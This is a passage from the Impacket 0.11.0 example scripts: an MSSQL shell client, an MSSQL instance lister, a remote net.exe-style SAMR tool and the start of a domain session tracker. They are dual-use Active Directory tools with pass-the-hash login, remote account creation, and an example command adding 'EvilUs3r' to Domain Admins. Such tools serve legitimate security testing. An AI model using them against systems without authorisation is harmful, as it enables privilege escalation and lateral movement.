logging.DEBUG: import traceback traceback.print_exc() logging.error(e) impacket-impacket_0_11_0/examples/mssqlclient.py000077500000000000000000000103551446174712300221530ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # [MS-TDS] & [MC-SQLR] example. # # Author: # Alberto Solino (@agsolino) # # Reference for: # Structure # import argparse import sys import logging from impacket.examples import logger from impacket.examples.mssqlshell import SQLSHELL from impacket.examples.utils import parse_target from impacket import version, tds if __name__ == '__main__': # Init the example's logger theme logger.init() print(version.BANNER) parser = argparse.ArgumentParser(add_help = True, description = "TDS client implementation (SSL supported).") parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') parser.add_argument('-port', action='store', default='1433', help='target MSSQL port (default 1433)') parser.add_argument('-db', action='store', help='MSSQL database instance (default None)') parser.add_argument('-windows-auth', action='store_true', default=False, help='whether or not to use Windows ' 'Authentication (default False)') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') parser.add_argument('-show', action='store_true', help='show the queries') parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the SQL shell') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' 'ones specified in the command line') group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' '(128 or 256 bits)') group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' 'ommited it use the domain part (FQDN) specified in the target parameter') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) domain, username, password, address = parse_target(options.target) if domain is None: domain = '' if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:") if options.aesKey is not None: options.k = True ms_sql = tds.MSSQL(address, int(options.port)) ms_sql.connect() try: if options.k is True: res = ms_sql.kerberosLogin(options.db, username, password, domain, options.hashes, options.aesKey, kdcHost=options.dc_ip) else: res = ms_sql.login(options.db, username, password, domain, options.hashes, options.windows_auth) ms_sql.printReplies() except Exception as e: logging.debug("Exception:", exc_info=True) logging.error(str(e)) res = False if res is True: shell = SQLSHELL(ms_sql, options.show) if options.file is None: shell.cmdloop() else: for line in options.file.readlines(): print("SQL> %s" % line, end=' ') shell.onecmd(line) ms_sql.disconnect() impacket-impacket_0_11_0/examples/mssqlinstance.py000077500000000000000000000030011446174712300224670ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # [MC-SQLR] example. Retrieves the instances names from the target host # # Author: # Alberto Solino (@agsolino) # # Reference for: # Structure # from __future__ import division from __future__ import print_function import argparse import sys import logging from impacket.examples import logger from impacket import version, tds if __name__ == '__main__': print(version.BANNER) # Init the example's logger theme logger.init() parser = argparse.ArgumentParser(add_help = True, description = "Asks the remote host for its running MSSQL Instances.") parser.add_argument('host', action='store', help='target host') parser.add_argument('-timeout', action='store', default='5', help='timeout to wait for an answer') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() ms_sql = tds.MSSQL(options.host) instances = ms_sql.getInstances(int(options.timeout)) if len(instances) == 0: "No MSSQL Instances found" else: for i, instance in enumerate(instances): logging.info("Instance %d" % i) for key in list(instance.keys()): print(key + ":" + instance[key]) impacket-impacket_0_11_0/examples/net.py000066400000000000000000000622721446174712300204050ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # Impacket alternative for windows net.exe commandline utility. # Thanks to rpc protocol, the special feature of this tool is # making net.exe functionalities available from remote computer. # # e.g: # python net.py Administrator:password@targetMachine localgroup # python net.py Administrator:password@targetMachine user # python net.py Administrator:password@targetMachine group # python net.py Administrator:password@targetMachine computer # python net.py Administrator:password@targetMachine localgroup -name Administrators # python net.py Administrator:password@targetMachine user -name Administrator # python net.py Administrator:password@targetMachine group -name "Domain Admins" # python net.py Administrator:password@targetMachine computer -name DC$ # python net.py Administrator:password@targetMachine group -name "Domain Admins" -join EvilUs3r # # Author: # Alex Romero (@NtAlexio2) # # Reference for: # [MS-SAMR] # import sys import argparse import logging from datetime import datetime from impacket import version from impacket.examples import logger from impacket.examples.utils import parse_target from impacket.dcerpc.v5 import transport, samr, lsad, lsat from impacket.smbconnection import SMBConnection class LsaTranslator: def __init__(self, smbConnection): self._smbConnection = smbConnection self.__stringBindingSamr = r'ncacn_np:445[\pipe\lsarpc]' self._lsat_dce = None self.Connect() def Connect(self): rpc = transport.DCERPCTransportFactory(self.__stringBindingSamr) rpc.set_smb_connection(self._smbConnection) self._lsat_dce = rpc.get_dce_rpc() self._lsat_dce.connect() self._lsat_dce.bind(lsat.MSRPC_UUID_LSAT) def LookupName(self, name): policyHandle = lsad.hLsarOpenPolicy2(self._lsat_dce)['PolicyHandle'] resp = lsat.hLsarLookupNames3(self._lsat_dce, policyHandle, (name, )) lsad.hLsarClose(self._lsat_dce, policyHandle) return resp['TranslatedSids']['Sids'][0]['Sid'] def LookupSids(self, sid_list): policyHandle = lsad.hLsarOpenPolicy2(self._lsat_dce)['PolicyHandle'] resp = lsat.hLsarLookupSids2(self._lsat_dce, policyHandle, sid_list) lsad.hLsarClose(self._lsat_dce, policyHandle) return resp['TranslatedNames']['Names'] class SamrObject: def __init__(self, smbConnection): self._smbConnection = smbConnection self.__stringBindingSamr = r'ncacn_np:445[\pipe\samr]' self._dce = None self._domain_handle = None self._translator = None self._connect() def _connect(self): rpc = transport.DCERPCTransportFactory(self.__stringBindingSamr) rpc.set_smb_connection(self._smbConnection) self._dce = rpc.get_dce_rpc() self._dce.connect() self._dce.bind(samr.MSRPC_UUID_SAMR) def _get_user_sid(self, username): if self._translator is None: self._translator = LsaTranslator(self._smbConnection) return self._translator.LookupName(username) def _resolve_sid(self, sid_list): if self._translator is None: self._translator = LsaTranslator(self._smbConnection) return self._translator.LookupSids(sid_list) def _get_object_rid(self, domain_handle, object_name): response = samr.hSamrLookupNamesInDomain(self._dce, domain_handle, (object_name,)) object_id = response['RelativeIds']['Element'][0]['Data'] return object_id def _get_user_handle(self, domain_handle, username): user_rid = self._get_object_rid(domain_handle, username) response = samr.hSamrOpenUser(self._dce, domain_handle, samr.USER_ALL_ACCESS, user_rid) return response['UserHandle'] def _get_group_handle(self, domain_handle, alias_name): group_rid = self._get_object_rid(domain_handle, alias_name) response = samr.hSamrOpenGroup(self._dce, domain_handle, samr.MAXIMUM_ALLOWED, group_rid) return response['GroupHandle'] def _get_alias_handle(self, domain_handle, alias_name): alias_rid = self._get_object_rid(domain_handle, alias_name) response = samr.hSamrOpenAlias(self._dce, domain_handle, samr.MAXIMUM_ALLOWED, alias_rid) return response['AliasHandle'] def _open_domain(self, builtin=False): if self._domain_handle is None: self._domain_handle = self.__get_domain_handle(builtin) return self._domain_handle def _close_domain(self): if self._domain_handle != None: samr.hSamrCloseHandle(self._dce, self._domain_handle) self._domain_handle = None def __get_domain_handle(self, builtin=False): index = 1 if builtin else 0 server_handle = samr.hSamrConnect(self._dce)['ServerHandle'] domain_name = samr.hSamrEnumerateDomainsInSamServer(self._dce, server_handle)['Buffer']['Buffer'][index]['Name'] domain_id = samr.hSamrLookupDomainInSamServer(self._dce, server_handle, domain_name)['DomainId'] domain_handle = samr.hSamrOpenDomain(self._dce, server_handle, domainId=domain_id)['DomainHandle'] return domain_handle class User(SamrObject): def __init__(self, smbConnection): super().__init__(smbConnection) self._create_account_type = samr.USER_NORMAL_ACCOUNT self._enum_account_type = samr.USER_NORMAL_ACCOUNT def Enumerate(self): domain_handle = self._open_domain() try: response = samr.hSamrEnumerateUsersInDomain(self._dce, domain_handle, self._enum_account_type) for item in response['Buffer']['Buffer']: yield item except samr.DCERPCSessionError as e: if str(e).find('STATUS_MORE_ENTRIES') < 0: raise finally: self._close_domain() def Query(self, name): domain_handle = self._open_domain(False) try: user_handle = self._get_user_handle(domain_handle, name) response = samr.hSamrQueryInformationUser2(self._dce, user_handle, samr.USER_INFORMATION_CLASS.UserAllInformation) response = response['Buffer']['All'] # Get groups that user is member of groups = samr.hSamrGetGroupsForUser(self._dce, user_handle)['Groups']['Groups'] group_id_list = list(map(lambda g: g['RelativeId'], groups)) sidArray = samr.SAMPR_PSID_ARRAY() for gid in group_id_list: group_handle = samr.hSamrOpenGroup(self._dce, domain_handle, groupId=gid)['GroupHandle'] group_sid = samr.hSamrRidToSid(self._dce, group_handle, gid)['Sid'] si = samr.PSAMPR_SID_INFORMATION() si['SidPointer'] = group_sid sidArray['Sids'].append(si) samr.hSamrCloseHandle(self._dce, group_handle) global_lookup_ids = samr.hSamrLookupIdsInDomain(self._dce, domain_handle, group_id_list) response.fields['GlobalGroups'] = list(map(lambda a: a['Data'], global_lookup_ids['Names']['Element'])) self._close_domain() domain_handle = self._open_domain(True) alias_membership = samr.hSamrGetAliasMembership(self._dce, domain_handle, sidArray) alias_id_list = list(map(lambda a: a['Data'], alias_membership['Membership']['Element'])) local_lookup_ids = samr.hSamrLookupIdsInDomain(self._dce, domain_handle, alias_id_list) response.fields['LocalGroups'] = list(map(lambda a: a['Data'], local_lookup_ids['Names']['Element'])) return response except samr.DCERPCSessionError as e: if str(e).find('STATUS_MORE_ENTRIES') < 0: raise finally: self._close_domain() def Create(self, name, new_password, new_nt_hash=''): domain_handle = self._open_domain() user_handle = samr.hSamrCreateUser2InDomain(self._dce, domain_handle, name, self._create_account_type, samr.USER_ALL_ACCESS)['UserHandle'] try: samr.hSamrSetNTInternal1(self._dce, user_handle, new_password, new_nt_hash) except samr.DCERPCSessionError as e: samr.hSamrDeleteUser(self._dce, user_handle) raise else: self._hEnableAccount(user_handle) finally: self._close_domain() def Remove(self, name): domain_handle = self._open_domain() try: user_handle = self._get_user_handle(domain_handle, name) samr.hSamrDeleteUser(self._dce, user_handle) finally: self._close_domain() def _hEnableAccount(self, user_handle): buffer = samr.SAMPR_USER_INFO_BUFFER() buffer['tag'] = samr.USER_INFORMATION_CLASS.UserControlInformation buffer['Control']['UserAccountControl'] = samr.USER_ALL_ADMINCOMMENT samr.hSamrSetInformationUser2(self._dce, user_handle, buffer) class Computer(User): def __init__(self, smbConnection): super().__init__(smbConnection) self._create_account_type = samr.USER_WORKSTATION_TRUST_ACCOUNT self._enum_account_type = samr.USER_WORKSTATION_TRUST_ACCOUNT | samr.USER_SERVER_TRUST_ACCOUNT class Group(SamrObject): def Enumerate(self): domain_handle = self._open_domain() try: response = samr.hSamrEnumerateGroupsInDomain(self._dce, domain_handle) for item in response['Buffer']['Buffer']: yield item except samr.DCERPCSessionError as e: if str(e).find('STATUS_MORE_ENTRIES') < 0: raise finally: self._close_domain() def Query(self, group_name): domain_handle = self._open_domain() try: group_handle = self._get_group_handle(domain_handle, group_name) response = samr.hSamrGetMembersInGroup(self._dce, group_handle) response = samr.hSamrLookupIdsInDomain(self._dce, domain_handle, list(map(lambda a: a['Data'], response['Members']['Members']))) return list(map(lambda a: a['Data'], response['Names']['Element'])) finally: self._close_domain() def Join(self, group_name, username): domain_handle = self._open_domain() try: group_handle = self._get_group_handle(domain_handle, group_name) user_rid = self._get_object_rid(domain_handle, username) samr.hSamrAddMemberToGroup(self._dce, group_handle, user_rid, samr.SE_GROUP_ENABLED_BY_DEFAULT) finally: self._close_domain() def UnJoin(self, group_name, username): domain_handle = self._open_domain() try: group_handle = self._get_group_handle(domain_handle, group_name) user_rid = self._get_object_rid(domain_handle, username) samr.hSamrRemoveMemberFromGroup(self._dce, group_handle, user_rid) finally: self._close_domain() class Localgroup(Group): def Enumerate(self): domain_handle = self._open_domain(True) try: response = samr.hSamrEnumerateAliasesInDomain(self._dce, domain_handle) for item in response['Buffer']['Buffer']: yield item except samr.DCERPCSessionError as e: if str(e).find('STATUS_MORE_ENTRIES') < 0: raise finally: self._close_domain() def Query(self, group_name): domain_handle = self._open_domain(True) try: alias_handle = self._get_alias_handle(domain_handle, group_name) response = samr.hSamrGetMembersInAlias(self._dce, alias_handle) response = self._resolve_sid(list(map(lambda s: s['Data']['SidPointer'].formatCanonical(), response['Members']['Sids']))) return list(map(lambda x: x['Name'], response)) finally: self._close_domain() def Join(self, group_name, username): domain_handle = self._open_domain(True) try: alias_handle = self._get_alias_handle(domain_handle, group_name) user_sid = self._get_user_sid(username) samr.hSamrAddMemberToAlias(self._dce, alias_handle, user_sid) finally: self._close_domain() def UnJoin(self, group_name, username): domain_handle = self._open_domain(True) try: alias_handle = self._get_alias_handle(domain_handle, group_name) user_sid = self._get_user_sid(username) samr.hSamrRemoveMemberFromAlias(self._dce, alias_handle, user_sid) finally: self._close_domain() class Net: def __init__(self, domain, username, password, options): self.__domain = domain self.__username = username self.__password = password self.__options = options self.__action = options.entry.lower() self.__lmhash = '' self.__nthash = '' self.__aesKey = options.aesKey self.__doKerberos = options.k self.__kdcHost = options.dc_ip self.__smbConnection = None if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') def connect(self, remoteName, remoteHost): self.__smbConnection = SMBConnection(remoteName, remoteHost, sess_port=int(self.__options.port)) if self.__doKerberos: self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, self.__kdcHost) else: self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) def disconnect(self): self.__smbConnection.close() self.__smbConnection = None def run(self, remoteName, remoteHost): self.connect(remoteName, remoteHost) actionClass = self.__get_action_class(self.__action) actionObject = actionClass(self.__smbConnection) if self.__is_option_present(self.__options, 'create'): print("[*] Creating {} account '{}'".format(self.__action, self.__options.create)) actionObject.Create(self.__options.create, self.__options.newPasswd) print("[+] {} account created succesfully: {}:{}".format(self.__action, self.__options.create, self.__options.newPasswd)) elif self.__is_option_present(self.__options, 'remove'): print("[*] Deleting {} account '{}'".format(self.__action, self.__options.remove)) actionObject.Remove(self.__options.remove) print("[+] {} account deleted succesfully!".format(self.__action)) elif self.__is_option_present(self.__options, 'join'): print("[*] Adding user account '{}' to group '{}'".format(self.__options.name, self.__options.join)) actionObject.Join(self.__options.name, self.__options.join) print("[+] User account added to {} succesfully!".format(self.__options.name)) elif self.__is_option_present(self.__options, 'unjoin'): print("[*] Removing user account '{}' from group '{}'".format(self.__options.name, self.__options.unjoin)) actionObject.UnJoin(self.__options.name, self.__options.unjoin) print("[+] User account removed from {} succesfully!".format(self.__options.name)) elif self.__is_option_present(self.__options, 'name'): info = actionObject.Query(self.__options.name) if type(info) == list: i = 1 for member in info: print(" {0}. {1}".format(i, member)) i += 1 else: print("User name".ljust(30), info['UserName']) print("Full name".ljust(30), info['FullName']) print("Comment".ljust(30), info['AdminComment']) print("User's comment".ljust(30), info['UserComment']) print("Country/region code".ljust(30), "000 (System Default)" if info['CountryCode'] == 0 else info['CountryCode']) print("Account active".ljust(30), self.__b2s(info['WhichFields'] & samr.USER_ACCOUNT_DISABLED == samr.USER_ACCOUNT_DISABLED)) print("Account expires".ljust(30), self.__get_time_string(info['AccountExpires'])) print('') print("Password last set".ljust(30), self.__get_time_string(info['PasswordLastSet'])) print("Password expires".ljust(30), self.__get_time_string(info['PasswordMustChange'])) print("Password changeable".ljust(30), self.__get_time_string(info['PasswordCanChange'])) print("Password required".ljust(30), self.__b2s(info['WhichFields'] & samr.USER_PASSWORD_NOT_REQUIRED == samr.USER_PASSWORD_NOT_REQUIRED)) print("User may change password".ljust(30), self.__b2s(info['WhichFields'] & samr.UF_PASSWD_CANT_CHANGE == samr.UF_PASSWD_CANT_CHANGE)) print('') print("Workstations allowed".ljust(30), "All" if not info['WorkStations'] else info['WorkStations']) print("Logon script".ljust(30), info['ScriptPath']) print("User profile".ljust(30), info['ProfilePath']) print("Home directory".ljust(30), info['HomeDirectory']) print("Last logon".ljust(30), self.__get_time_string(info['LastLogon'])) print("Logon count".ljust(30), info['LogonCount']) print('') print("Logon hours allowed".ljust(30), self.__format_logon_hours(info['LogonHours']['LogonHours'])) print('') print("Local Group Memberships") for group in info['LocalGroups']: print(" * {}".format(group)) print('') print("Global Group memberships") for group in info['GlobalGroups']: print(" * {}".format(group)) else: print("[*] Enumerating {}s ..".format(self.__action)) i = 1 for object in actionObject.Enumerate(): messae = " {0}. {1}".format(i, object['Name']) if self.__options.debug: messae += " ({0})".format(object['RelativeId']) print(messae) i += 1 self.disconnect() def __getUnixTime(self, t): t -= 116444736000000000 t /= 10000000 return t def __get_time_string(self, large_integer): time = (large_integer['HighPart'] << 32) + large_integer['LowPart'] if time == 0 or time == 0x7FFFFFFFFFFFFFFF: time = 'Never' else: time = datetime.fromtimestamp(self.__getUnixTime(time)) time = time.strftime("%m/%d/%Y %H:%M:%S %p") return time def __format_logon_hours(self, s): logon_hours = ''.join(map(lambda b: b.hex(), s)) if logon_hours == ('f' * 42): logon_hours = "All" return logon_hours def __b2s(self, b): return "Yes" if b else "No" def __get_action_class(self, action): return getattr(sys.modules[__name__], action.capitalize()) def __is_option_present(self, options, option): return hasattr(options, option) and getattr(options, option) if __name__ == '__main__': print(version.BANNER) logger.init() parser = argparse.ArgumentParser(add_help = True, description = "SAMR rpc client implementation.") parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') subparsers = parser.add_subparsers(help='An account entry name', dest='entry', required=True) user_parser = subparsers.add_parser('user', help='Enumerate all domain/local user accounts') user_parser.add_argument('-name', action="store", metavar = "NAME", help='Display single user information.') user_parser.add_argument('-create', action="store", metavar = "NAME", help='Add new user account to domain/computer.') user_parser.add_argument('-remove', action="store", metavar = "NAME", help='Remove existing user account from domain/computer.') user_parser.add_argument('-newPasswd', action="store", metavar = "PASSWORD", help='New password to set for creating account.') computer_parser = subparsers.add_parser('computer', help='Enumerate all computers in domain level') computer_parser.add_argument('-name', action="store", metavar = "NAME", help='Display single computer information.') computer_parser.add_argument('-create', action="store", metavar = "NAME", help='Add new computer account to domain.') computer_parser.add_argument('-remove', action="store", metavar = "NAME", help='Remove existing computer account from domain.') computer_parser.add_argument('-newPasswd', action="store", metavar = "PASSWORD", help='New password to set for creating account.') localgroup_parser = subparsers.add_parser('localgroup', help='Enumerate local groups (aliases) of local computer') localgroup_parser.add_argument('-name', action="store", metavar = "NAME", help='Operate on single specific domain group account.') localgroup_parser.add_argument('-join', action="store", metavar = "USER", help='Add user account to specific group.') localgroup_parser.add_argument('-unjoin', action="store", metavar = "USER", help='Remove user account from specific group.') group_parser = subparsers.add_parser('group', help='Enumerate domain groups registered in domain controller') group_parser.add_argument('-name', action="store", metavar = "NAME", help='Operate on single specific localgroup account.') group_parser.add_argument('-join', action="store", metavar = "USER", help='Add user account to specific group.') group_parser.add_argument('-unjoin', action="store", metavar = "USER", help='Remove user account from specific group.') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' '(KRB5CCNAME) based on target parameters. If valid credentials ' 'cannot be found, it will use the ones specified in the command ' 'line') group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' '(128 or 256 bits)') group = parser.add_argument_group('connection') group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in ' 'the target parameter') group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' 'This is useful when target is the NetBIOS name and you cannot resolve it') group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", help='Destination port to connect to SMB Server') if len(sys.argv) == 1: parser.print_help() sys.exit(1) options = parser.parse_args() if ((hasattr(options, 'join') and options.join) or hasattr(options, 'unjoin') and options.unjoin) and not options.name: logging.error("argument '-name' is required with join/unjoin operations.") sys.exit(1) if (hasattr(options, 'create') and options.create) and (not hasattr(options, 'create') or not options.newPasswd): logging.error("argument '-newPasswd' is required for creating new account.") sys.exit(1) if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) domain, username, password, address = parse_target(options.target) if options.target_ip is None: options.target_ip = address if domain is None: domain = '' if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password: ") if options.aesKey is not None: options.k = True if options.hashes is not None: lmhash, nthash = options.hashes.split(':') else: lmhash = '' nthash = '' net = Net(domain, username, password, options) try: net.run(address, options.target_ip) except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) impacket-impacket_0_11_0/examples/netview.py000077500000000000000000000542251446174712300213020ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # The idea of this script is to get a list of the sessions # opened at the remote hosts and keep track of them. # Coincidentally @mubix did something similar a few years # ago so credit goes to him (and the script's name ;)). # Check it out at https://github.com/mubix/netview # The main difference with our approach is we keep # looping over the hosts found and keep track of who logged # in/out from remote servers. Plus, we keep the connections # with the target systems and just send a few DCE-RPC packets. # # One VERY IMPORTANT thing is: # # YOU HAVE TO BE ABLE TO RESOLV THE DOMAIN MACHINES NETBIOS # NAMES. That's usually solved by setting your DNS to the # domain DNS (and the right search domain). # # Some examples of usage are: # # netview.py -target 192.168.1.10 beto # # This will show the sessions on 192.168.1.10 and will authenticate as 'beto' # (password will be prompted) # # netview.py FREEFLY.NET/beto # # This will download all machines from FREEFLY.NET, authenticated as 'beto' # and will gather the session information for those machines that appear # to be up. There is a background thread checking aliveness of the targets # at all times. # # netview.py -users /tmp/users -dc-ip freefly-dc.freefly.net -k FREEFLY.NET/beto # # This will download all machines from FREEFLY.NET, authenticating using # Kerberos (that's why -dc-ip parameter is needed), and filter # the output based on the list of users specified in /tmp/users file. # # Author: # beto (@agsolino) # from __future__ import division from __future__ import print_function import sys import argparse import logging import socket from threading import Thread, Event from queue import Queue from time import sleep from impacket.examples import logger from impacket.examples.utils import parse_credentials from impacket import version from impacket.smbconnection import SessionError from impacket.dcerpc.v5 import transport, wkst, srvs, samr from impacket.dcerpc.v5.ndr import NULL from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.nt_errors import STATUS_MORE_ENTRIES machinesAliveQueue = Queue() machinesDownQueue = Queue() myIP = None def checkMachines(machines, stopEvent, singlePass=False): origLen = len(machines) deadMachines = machines done = False while not done: if stopEvent.is_set(): done = True break for machine in deadMachines: s = socket.socket() try: s = socket.create_connection((machine, 445), 2) global myIP myIP = s.getsockname()[0] s.close() machinesAliveQueue.put(machine) except Exception as e: logging.debug('%s: not alive (%s)' % (machine, e)) pass else: logging.debug('%s: alive!' % machine) deadMachines.remove(machine) if stopEvent.is_set(): done = True break logging.debug('up: %d, down: %d, total: %d' % (origLen-len(deadMachines), len(deadMachines), origLen)) if singlePass is True: done = True if not done: sleep(10) # Do we have some new deadMachines to add? while machinesDownQueue.empty() is False: deadMachines.append(machinesDownQueue.get()) class USERENUM: def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, options=None): self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__aesKey = aesKey self.__doKerberos = doKerberos self.__kdcHost = options.dc_ip self.__options = options self.__machinesList = list() self.__targets = dict() self.__filterUsers = None self.__targetsThreadEvent = None self.__targetsThread = None self.__maxConnections = int(options.max_connections) if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') def getDomainMachines(self): if self.__kdcHost is not None: domainController = self.__kdcHost elif self.__domain != '': domainController = self.__domain else: raise Exception('A domain is needed!') logging.info('Getting machine\'s list from %s' % domainController) rpctransport = transport.SMBTransport(domainController, 445, r'\samr', self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, doKerberos=self.__doKerberos, kdcHost = self.__kdcHost) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(samr.MSRPC_UUID_SAMR) try: resp = samr.hSamrConnect(dce) serverHandle = resp['ServerHandle'] resp = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle) domains = resp['Buffer']['Buffer'] logging.info("Looking up users in domain %s" % domains[0]['Name']) resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle,domains[0]['Name'] ) resp = samr.hSamrOpenDomain(dce, serverHandle = serverHandle, domainId = resp['DomainId']) domainHandle = resp['DomainHandle'] status = STATUS_MORE_ENTRIES enumerationContext = 0 while status == STATUS_MORE_ENTRIES: try: resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, samr.USER_WORKSTATION_TRUST_ACCOUNT, enumerationContext=enumerationContext) except DCERPCException as e: if str(e).find('STATUS_MORE_ENTRIES') < 0: raise resp = e.get_packet() for user in resp['Buffer']['Buffer']: self.__machinesList.append(user['Name'][:-1]) logging.debug('Machine name - rid: %s - %d'% (user['Name'], user['RelativeId'])) enumerationContext = resp['EnumerationContext'] status = resp['ErrorCode'] except Exception as e: raise e dce.disconnect() def getTargets(self): logging.info('Importing targets') if self.__options.target is None and self.__options.targets is None: # We need to download the list of machines from the domain self.getDomainMachines() elif self.__options.targets is not None: for line in self.__options.targets.readlines(): self.__machinesList.append(line.strip(' \r\n')) else: # Just a single machine self.__machinesList.append(self.__options.target) logging.info("Got %d machines" % len(self.__machinesList)) def filterUsers(self): if self.__options.user is not None: self.__filterUsers = list() self.__filterUsers.append(self.__options.user) elif self.__options.users is not None: # Grab users list from a file self.__filterUsers = list() for line in self.__options.users.readlines(): self.__filterUsers.append(line.strip(' \r\n')) else: self.__filterUsers = None def run(self): self.getTargets() self.filterUsers() #self.filterGroups() # Up to here we should have figured out the scope of our work self.__targetsThreadEvent = Event() if self.__options.noloop is False: # Start a separate thread checking the targets that are up self.__targetsThread = Thread(target=checkMachines, args=(self.__machinesList,self.__targetsThreadEvent)) self.__targetsThread.start() else: # Since it's gonna be a one shoot test, we need to wait till it finishes checkMachines(self.__machinesList,self.__targetsThreadEvent, singlePass=True) while True: # Do we have more machines to add? while machinesAliveQueue.empty() is False: machine = machinesAliveQueue.get() logging.debug('Adding %s to the up list' % machine) self.__targets[machine] = {} self.__targets[machine]['SRVS'] = None self.__targets[machine]['WKST'] = None self.__targets[machine]['Admin'] = True self.__targets[machine]['Sessions'] = list() self.__targets[machine]['LoggedIn'] = set() for target in list(self.__targets.keys()): try: self.getSessions(target) self.getLoggedIn(target) except (SessionError, DCERPCException) as e: # We will silently pass these ones, might be issues with Kerberos, or DCE if str(e).find('LOGON_FAILURE') >=0: # For some reason our credentials don't work there, # taking it out from the list. logging.error('STATUS_LOGON_FAILURE for %s, discarding' % target) del(self.__targets[target]) elif str(e).find('INVALID_PARAMETER') >=0: del(self.__targets[target]) elif str(e).find('access_denied') >=0: # Can't access the target RPC call, most probably a Unix host # taking it out from the list del(self.__targets[target]) else: logging.info(str(e)) pass except KeyboardInterrupt: raise except Exception as e: #import traceback #traceback.print_exc() if str(e).find('timed out') >=0: # Most probably this site went down. taking it out # ToDo: add it back to the list of machines to check in # the separate thread - DONE del(self.__targets[target]) machinesDownQueue.put(target) else: # These ones we will report logging.error(e) pass if self.__options.noloop is True: break logging.debug('Sleeping for %s seconds' % self.__options.delay) logging.debug('Currently monitoring %d active targets' % len(self.__targets)) sleep(int(self.__options.delay)) def getSessions(self, target): if self.__targets[target]['SRVS'] is None: stringSrvsBinding = r'ncacn_np:%s[\PIPE\srvsvc]' % target rpctransportSrvs = transport.DCERPCTransportFactory(stringSrvsBinding) if hasattr(rpctransportSrvs, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransportSrvs.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) rpctransportSrvs.set_kerberos(self.__doKerberos, self.__kdcHost) dce = rpctransportSrvs.get_dce_rpc() dce.connect() dce.bind(srvs.MSRPC_UUID_SRVS) self.__maxConnections -= 1 else: dce = self.__targets[target]['SRVS'] try: resp = srvs.hNetrSessionEnum(dce, '\x00', NULL, 10) except Exception as e: if str(e).find('Broken pipe') >= 0: # The connection timed-out. Let's try to bring it back next round self.__targets[target]['SRVS'] = None self.__maxConnections += 1 return else: raise if self.__maxConnections < 0: # Can't keep this connection open. Closing it dce.disconnect() self.__maxConnections = 0 else: self.__targets[target]['SRVS'] = dce # Let's see who createad a connection since last check tmpSession = list() printCRLF = False for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']: userName = session['sesi10_username'][:-1] sourceIP = session['sesi10_cname'][:-1][2:] key = '%s\x01%s' % (userName, sourceIP) myEntry = '%s\x01%s' % (self.__username, myIP) tmpSession.append(key) if not(key in self.__targets[target]['Sessions']): # Skipping myself if key != myEntry: self.__targets[target]['Sessions'].append(key) # Are we filtering users? if self.__filterUsers is not None: if userName in 